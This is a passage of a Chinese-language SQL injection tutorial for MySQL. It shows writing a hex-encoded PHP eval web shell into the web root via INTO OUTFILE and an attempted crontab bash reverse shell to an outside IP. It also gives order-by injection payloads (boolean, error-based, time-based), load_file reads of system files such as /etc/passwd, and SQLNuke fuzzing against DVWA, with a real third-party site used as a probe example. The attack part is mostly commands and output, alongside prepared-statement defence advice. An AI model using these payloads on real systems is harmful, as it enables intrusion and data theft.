mysql> select 0x3c3f706870206576616c28245f504f53545b277a275d293b3f3e,2,3,4 from mysql.user into outfile '/var/www/html/z.php';
[root@server120 html]# ll | grep z.php
-rw-rw-rw- 1 mysql mysql 198 6月 20 16:35 z.php

可以看到属主和属组都是mysql
限制条件:
1)需要知道Web目录的绝对路径。
2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on *.* to root@localhost;
3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。

这里如果Mysql是Root权限启动的话,能否像Redis一样,通过写crontab来反弹shell呢。

mysql> select * from test where 0 union select '* * * * * bash -i >& /dev/tcp/192.168.192.144/2345 0>&1' into outfile '/var/spool/cron/root';

ERROR 1086 (HY000): File '/var/spool/cron/root' already exists

如果root账户本身就有定时任务,那么会提示文件存在,那么如果写入到其他账户呢

mysql> select * from test where 0 union select '* * * * * bash -i >& /dev/tcp/192.168.192.144/2345 0>&1' into outfile '/var/spool/cron/mysql';
Query OK, 1 row affected (0.00 sec)

然后我们看一下/var/spool/cron/mysql

[root@server120 cron]# ll /var/spool/cron/mysql
-rw-rw-rw- 1 root root 56 6月 23 15:44 /var/spool/cron/mysql

然后看一下cron日志,发现提示BAD FILE MODE即文件的权限不对

Jun 23 15:45:01 server120 crond[1725]: (mysql) BAD FILE MODE (/var/spool/cron/mysql)

正常添加的定时任务权限为600

[root@server120 ~]# ll /var/spool/cron/ | grep vincen
-rw------- 1 vincen vincen 17 6月 23 16:03 vincen

而mysql写入的文件权限为666,所以mysql通过outfile写crontab来反弹shell是无法实现的。

对于大多数的程序员而言,参数化查询、预编译处理能够解决大部分的注入问题,以PHP为例:

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where name = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $name = $_GET['name']; 

    $mysqli_stmt->bind_param("s",$name); 

    $mysqli_stmt->bind_result($num,$name,$class);  

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

这里bind_param类型

http://192.168.192.120/mysql.php?name=vincent

日志输出:

30 Connect  root@localhost on test

30 Prepare select num,name,class from user where name = ?

30 Execute select num,name,class from user where name = 'vincent'

30 Close stmt 

30 Quit

可以执行语句中参数是被双引号包裹的

http://192.168.192.120/mysql.php?name=vincent’ or ‘1’=’1

日志输出:

31 Connect  root@localhost on test

31 Prepare select num,name,class from user where name = ?

31 Execute select num,name,class from user where name = 'vincent\' or \'1\'=\'1'

31 Close stmt 

31 Quit

可以看到单引号被转义了。

 

再来试一下int,修改程序

<?php 

    header("Content-type:text/html;charset=utf-8"); 

    $mysqli = new mysqli("127.0.0.1", "root", "123456", "test"); 

    if($mysqli->connect_error){ 

        die($mysqli->connect_error); 

        exit(); 

    } 

    $sql = "select num,name,class from user where num = ?"; 

    $mysqli_stmt = $mysqli->prepare($sql); 

    $num = $_GET['num']; 

    $mysqli_stmt->bind_param("i",$num); 

    $mysqli_stmt->bind_result($num,$name,$class); 

    $mysqli_stmt->execute(); 

    while ($mysqli_stmt->fetch()){ 

        echo "--$num--$name--$class<br/>"; 

    } 

    $mysqli_stmt->close(); 

    $mysqli->close();   

?>

http://192.168.192.120/mysql.php?num=1 and 1=1

日志输出:

33 Connect  root@localhost on test

33 Prepare select num,name,class from user where num = ?

33 Execute select num,name,class from user where num = 1

33 Close stmt 

33 Quit

可以看到会自动将参数转成整形处理。

但是并非所有环境下都适合预编译处理,例如:

$sql = "select num,name,class from user order by ?";

$mysqli_stmt = $mysqli->prepare($sql); 

$name = $_GET['name']; 

$mysqli_stmt->bind_param("s",$name);

如果使用预编译处理,参数绑定为String类型,order by的参数会被单引号包裹,导致无法排序

mysql> select num,name,class from user order by name;

+------+------+-------+

| num  | name | class |

+------+------+-------+

|    2 | 66   | 88    |

|    1 | a    | b     |

|    2 | xx   | sds   |

+------+------+-------+

3 rows in set (0.00 sec)

mysql> select num,name,class from user order by 'name';

+------+------+-------+

| num  | name | class |

+------+------+-------+

|    1 | a    | b     |

|    2 | xx   | sds   |

|    2 | 66   | 88    |

+------+------+-------+

3 rows in set (0.00 sec)

所以排序无法使用预编译处理,经常是SQL注入常见点。

排序注入检测:

1)判断返回结果顺序不同
因为order by的值需要为唯一,而select 1 from INFORMATION_SCHEMA.SCHEMATA会返回多个,所以会产生报错。

mysql> select * from user order by if((1=2),2,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
ERROR 1242 (21000): Subquery returns more than 1 row
mysql> select * from user order by if((1=1),1,(select 1 from INFORMATION_SCHEMA.SCHEMATA));
+------+------+-------+
| num | name | class |
+------+------+-------+
| 2 | s | x |
| 1 | xx | yy |
+------+------+-------+
2 rows in set (0.00 sec)

case when:

http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=1) then dateline else membernum end)-page-1.html
http://quan.zhubajie.com/index/list-fid-5-order-(case when(1=2) then dateline else membernum end)-page-1.html

regexp:

mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=1,1,0x00)
);
+------+-----------+
| user | host |
+------+-----------+
| root | 127.0.0.1 |
| root | localhost |
+------+-----------+
2 rows in set (0.01 sec)
mysql> SELECT user,host from mysql.user order by (select 1 regexp if(1=2,1,0x00)
);
ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp

2)利用报错

updatexml:
mysql> SELECT user,host from mysql.user order by updatexml(1,if(1=1,user(),2),1)
;
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

extractvalue:
mysql> SELECT user,host from mysql.user order by extractvalue(1,if(1=1,user(),2)
);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

3)基于时间
注意容易造成拒绝服务

mysql> SELECT user,host from mysql.user order by if(1=1,sleep(2),1);
+------+-----------+
| user | host |
+------+-----------+
| root | localhost |
| root | 127.0.0.1 |
+------+-----------+
2 rows in set (4.00 sec)

修复建议:
使用间接对象引用。前端传递引用数字或者字符串等,用于与后端做数组映射,这样可以隐藏数据库数据字典效果,避免直接引用带来的危害。

load_file()
使用load_file查看文件需要有file权限。
新建一个mysql用户

insert into mysql.user(Host,User,Password) values("localhost","vinc",password("xxxxxx"));
flush privileges;

然后使用vinc用户登录

mysql> select load_file('/etc/hosts');
+-------------------------+
| load_file('/etc/hosts') |
+-------------------------+
| NULL |
+-------------------------+
1 row in set (0.00 sec)

然后赋予vinc账户file权限

mysql> grant file on *.* to vinc@localhost;
Query OK, 0 rows affected (0.00 sec)
mysql> show grants for 'vinc'@'localhost';
+------------------------------------------------------------------------------------------------------------+
| Grants for vinc@localhost |
+------------------------------------------------------------------------------------------------------------+
| GRANT FILE ON *.* TO 'vinc'@'localhost' IDENTIFIED BY PASSWORD '*E2F0F2B44618A79B15A6FD6B0941AC2D7C0173E6' |
+------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

然后重新连接mysql就可以读取文件了。

mysql> select load_file('/etc/hosts');
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| load_file('/etc/hosts') |
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
|
+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

load_file(‘/etc/passwd’)对应的16进制load_file(0x2F6574632F706173737764)

SQLNuke
SQLNuke是一款免费的开源mysql注射load_file()模糊测试工具,是用ruby语言写的,使用起来非常简单方便。
SQLNuke安装和基本用法:

安装SqlNuke之前,需要确保安装了Git和Ruby,因为它是用ruby语言写的,同时需要git命令来克隆SqlNuke库到本地。

git库址:
yum install git
git clone https://github.com/nuke99/sqlnuke.git
yum install ruby

要使用SQLNuke,进入它所在目录,使用./sql.rb启动它。

-u, --url URL Link with 'XxxX' ex: http://tar.com/?id=1+UNION+SELECT+1,XxxX,2--
-d, --data DATA POST DATA ex: id=-1+Union+Select+null,XxxX,null--&name=John
-x, --hex Hex Conversion
--proxy http://IP:PORT HTTP Proxy
--os (linux,win) Target Server OS (linux,win)
--agent AGENT User-Agent for the header
--ref REFERER Referer for the header
--cookie COOKIE Cookie for the header
-h, --help Information about commands

这里我们使用dvwa

[root@server120 sqlnuke]# ./sql.rb -u "http://192.168.192.120/dvwa/vulnerabilities/sqli/?id=-1%27+UNION+SELECT+1,XxxX--%20&Submit=Submit#" --cookie "security=low; PHPSESSID=gephgrt1pia3inp2ksol8m9et6"
[+] Cookie is set for security=low; PHPSESSID=gephgrt1pia3inp2ksol8m9et6
[!] No OS selected, Continue with all the possibilities
[200] - [Failed] /etc/apache2/sites-available/default
[200] - [Failed] /etc/apache/httpd.conf
[200] - [Success] /etc/httpd/conf/httpd.conf

可以在packset.lst文件中添加路径,增加测试payload。